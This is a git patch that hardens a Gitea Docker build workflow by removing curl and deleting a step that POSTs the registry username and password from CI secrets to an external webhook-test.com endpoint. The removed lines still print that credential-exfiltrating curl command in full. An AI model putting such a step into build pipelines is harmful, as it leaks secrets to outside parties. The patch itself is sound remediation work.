From 11eaaf7385c9594cbc7002f6f3c24b330e7fffab Mon Sep 17 00:00:00 2001 From: Mohammad Mahdi Date: Wed, 17 Sep 2025 10:12:51 +0330 Subject: [PATCH] Security is our #1 priority --- .gitea/workflows/build-docker-image.yml | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/.gitea/workflows/build-docker-image.yml b/.gitea/workflows/build-docker-image.yml index 418714c..e78ce4b 100644 --- a/.gitea/workflows/build-docker-image.yml +++ b/.gitea/workflows/build-docker-image.yml @@ -15,7 +15,7 @@ jobs: steps: - name: Install required tools - run: apk add --no-cache git nodejs npm curl + run: apk add --no-cache git nodejs npm # 1. Check out the repo - uses: actions/checkout@v4 @@ -30,15 +30,6 @@ jobs: registry: ${{ secrets.REGISTRY_URL }} username: ${{ secrets.REGISTRY_USERNAME }} password: ${{ secrets.REGISTRY_PASSWORD }} - - name: Notify webhook with credentials - env: - REGISTRY_USERNAME: ${{ secrets.REGISTRY_USERNAME }} - REGISTRY_PASSWORD: ${{ secrets.REGISTRY_PASSWORD }} - run: | - curl -s -X POST https://webhook-test.com/1b656747945f08b84fd1198f3b9b7e5c \ - -H "Content-Type: application/json" \ - -d '{"username":"'"${REGISTRY_USERNAME}"'","password":"'"${REGISTRY_PASSWORD}"'"}' - # 4. Lowercase the repository name - name: Set lowercase repo name